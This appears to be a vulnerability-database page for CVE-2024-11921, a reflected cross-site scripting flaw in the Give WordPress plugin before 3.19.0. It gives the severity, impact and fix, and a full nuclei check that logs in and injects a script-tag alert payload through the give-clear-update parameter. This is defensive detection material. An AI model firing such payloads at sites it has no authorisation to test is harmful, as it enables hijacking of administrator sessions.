HexBrain

Browse / CVEs / CVE-2024-11921

CVE-2024-11921· CWE-79

Give WP Plugin < 3.19.0 - Cross-Site Scripting

highseverity
7.1CVSS score
0.8%likelihood of exploitation, next 30 days
57%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Unauthenticated attackers can inject malicious JavaScript through the give-clear-update parameter to steal WordPress administrator session cookies and credentials when high-privilege users view the forms page.

Fix

Update to the version 3.19.0 of plugin.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=give-forms&give-clear-update="><script>alert(document.domain)</script> ; GET /wp-admin/admin.php?page=give-forms&give-clear-update=1"><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "give_forms_page_")

Run it with nuclei: nuclei -id CVE-2024-11921 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-11921

info:
  name: Give WP Plugin < 3.19.0 - Cross-Site Scripting
  author: Splint3r7
  severity: high
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the give-clear-update parameter to steal WordPress administrator session cookies and credentials when high-privilege users view the forms page.
  remediation: |
    Update to the version 3.19.0 of plugin.
  reference:
    - https://wpscan.com/vulnerability/5f196294-5ba9-45b6-a27c-ab1702cc001f/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11921
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 7.1
    cve-id: CVE-2024-11921
    cwe-id: CWE-79
    epss-score: 0.00786
    epss-percentile: 0.56436
  metadata:
    max-request: 2
  tags: cve,cve2024,wordpress,wp,wp-plugin,give,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=give-forms&give-clear-update="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-admin/admin.php?page=give-forms&give-clear-update=1"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "give_forms_page_")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from